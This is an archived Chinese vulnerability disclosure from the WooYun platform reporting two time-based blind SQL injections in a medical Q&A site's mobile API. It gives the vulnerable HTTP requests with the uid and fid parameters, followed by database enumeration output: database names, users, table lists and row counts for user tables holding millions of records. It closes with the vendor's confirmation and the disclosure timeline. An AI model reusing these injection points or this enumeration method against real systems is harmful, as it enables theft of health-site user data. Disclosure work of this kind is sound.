乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-22： 细节已通知厂商并且等待厂商处理中 2015-10-26： 厂商已经确认，细节仅向厂商公开 2015-11-05： 细节向核心白帽子及相关领域专家公开 2015-11-15： 细节向普通白帽子公开 2015-11-25： 细节向实习白帽子公开 2015-12-10： 细节向公众公开
快速问医生某站两枚延迟注入
1.参数:uid
GET /zlzs/v6/other/chknum/?maxid=46670&version=62&tsid=0&uid=511340&signature=316fb0a67cacb068&os=2&uuid=862620029971316&type=today_case_update&channel=iiyi HTTP/1.1Host: iapp.iiyi.comConnection: Keep-AliveAccept-Encoding: gzip
available databases [3]:[*] information_schema[*] test[*] zhiyecurrent user: 'zhiye@%'
Database: zhiye[51 tables]+---------------------------+| beitai_jkk || beitai_jkk_info || limit_class || log_login || url_120net || zhiye_admin_comment || zhiye_beitai_doc || zhiye_buy_path || zhiye_check_doctor_order || zhiye_click || zhiye_consults || zhiye_consults_copy || zhiye_dept || zhiye_dept_disease || zhiye_dept_disease_copy || zhiye_disease || zhiye_doctor_complain || zhiye_doctor_tags || zhiye_doctor_task_lv || zhiye_doctors || zhiye_doctors_certificate || zhiye_doctors_check || zhiye_doctors_copy || zhiye_doctors_interview || zhiye_doctors_msg || zhiye_doctors_picture || zhiye_doctors_remark || zhiye_doctors_replycount || zhiye_doctors_reward || zhiye_doctors_search || zhiye_doctors_symptom || zhiye_doctors_welcome || zhiye_domains || zhiye_drawings || zhiye_gratuitous || zhiye_hezuo_user || zhiye_notices || zhiye_order_mobile || zhiye_order_record || zhiye_orders || zhiye_orders_copy || zhiye_orders_ext || zhiye_orders_notes || zhiye_pay_card || zhiye_pay_feedback || zhiye_pay_order || zhiye_receive_msg || zhiye_relation || zhiye_replycount_mark || zhiye_safes || zhiye_thanks |+---------------------------+
2.参数fid,uid(ps:和上面的同站点不同数据库)
POST /zlzs/v6/applica/literaturelist HTTP/1.1Content-Length: 149Content-Type: application/x-www-form-urlencodedHost: iapp.iiyi.comConnection: Keep-AliveAccept-Encoding: gzipfid=1&version=62&uid=5113407&signature=316fb0a60d81351b&os=2&uuid=862620029971316&page=1&limit=10&channel=iiyi
available databases [3]:[*] iiyicenter[*] information_schema[*] testcurrent user: 'iiyicenter@%'
不会python遇到延迟注入心好累的说
COUNT(*)Database: iiyicenter+--------------------------+---------+| Table | Entries |+--------------------------+---------+| app_access_detail_old | 28473447 || dynamic_friends_0 | 20974637 || dynamic_aboutme_0 | 20970694 || dynamic_aboutme_9 | 20167989 || dynamic_friends_9 | 20160679 || dynamic_aboutme_8 | 19348024 || dynamic_friends_8 | 19341490 || dynamic_aboutme_6 | 19289556 || dynamic_friends_6 | 19282284 || dynamic_aboutme_4 | 19020399 || dynamic_friends_4 | 19012517 || dynamic_aboutme_7 | 18947158 || dynamic_friends_7 | 18940588 || dynamic_aboutme_1 | 18379309 || dynamic_aboutme_2 | 17805447 || dynamic_friends_2 | 17797747 || dynamic_aboutme_5 | 17711265 || dynamic_friends_5 | 17703381 || dynamic_aboutme_3 | 17270894 || dynamic_friends_3 | 17262676 || dynamic_friends_1 | 17191450 || app_access_detail | 13410757 || applica_downdetial | 7344028 || dynamic_autoid | 5641553 || dynamic_square | 5390616 || dynamic_0 | 4529266 || member_perfection | 2629138 || member_beans_detial | 2075829 || member_signin_detail | 2046058 || member_relation | 1476128 || applica_perdownload | 1416018 || member_base | 1215447 || home_access | 894350 || disease_tags_posts | 568732 || pms_detail | 469387 || disease_tags_sous | 451900 || pms_relation | 447857 || case_comment | 318711 || app_access_uuid | 303506 || sysnotice | 184563 || drug_to_action | 117059 || member_bbs_signin | 109220 || member_beans_tran_log | 109042 || disease_tags_bingli | 100580 || disease_tags_collection | 100002 || disease_tags_question | 99699 || drug_comp | 88940 || posts | 76745 || disease_tags_news | 60255 || euids | 50682 || case_myreply | 50157 || `case` | 42706 || topic_comment | 33942 || disease_tags_case | 33914 || member_image | 31925 || topic_myreply | 30516 || member_certification | 27869 || base_hospital | 26701 || case_images | 25237 || thread_support | 23019 || sysnotice_mine_6 | 21972 || case_icons | 21084 || sysnotice_mine_0 | 20102 || sysnotice_mine_5 | 19979 || case_collection | 19960 || sysnotice_mine_9 | 18610 || sysnotice_mine_1 | 18547 || sysnotice_mine_4 | 17783 || sysnotice_mine_2 | 17278 || sysnotice_mine_7 | 17156 || sysnotice_mine_3 | 16981 || sysnotice_mine_8 | 15971 || threads | 15268 || applica_content | 12579 || dynamic_tiny | 10000 || dynamic_mine_0 | 8741 || drug_action | 8527 || dynamic_mine_3 | 8357 || dynamic_mine_5 | 8191 || dynamic_mine_4 | 8102 || dynamic_mine_2 | 7934 || dynamic_mine_1 | 7690 || dynamic_mine_9 | 7496 || dynamic_mine_6 | 7401 || dynamic_mine_7 | 6745 || dynamic_mine_8 | 6668 || member_invitecode | 6582 || topic_comment_support | 5606 || topic_collection | 4617 || disease_tags_look | 3556 || topic | 3336 || base_area | 3230 || hotmed | 3058 || case_comment_support | 2929 || tupu_images | 2434 || disease_tags_guide | 2415 || feedback | 2379 || flash | 1948 || guide_collection | 1812 || topic_images | 1410 || disease_tags | 1245 || guide | 1187 || flash_collection | 1079 || dynamic_comment_0 | 1040 || beans_order | 1016 || app_counts | 973 || literature | 921 || tupu_class | 803 || tupu_class_copy | 803 || advertise_static | 772 || tupu_copy | 762 || tupu | 760 || applica_sort | 740 || member_certification_ask | 688 || member_invite_mobile | 535 || it_topic | 454 || app_coupon | 371 || it_images | 306 || it_comment | 234 || member_groups | 196 || flash_comment | 161 || flash_images | 119 || disease_tags_topic | 110 || dayly_news | 94 || app_login_faild | 48 || app_dbversion | 47 || flash_comment_support | 45 || band_records | 29 || disease_tags_types | 28 || case_noallow | 24 || literature_sort | 21 || flash_sort | 12 || applica_dbversion | 10 || company | 9 || case_admin | 7 || site_var | 6 || tupu_class_type | 5 || advertise | 3 || app_activety | 2 || member_black | 2 || case_icons_log | 1 |+--------------------------+---------+
↑
删了吧、
危害等级：高
漏洞Rank：15
确认时间：2015-10-26 09:13
确认漏洞，感谢朋友！
暂无
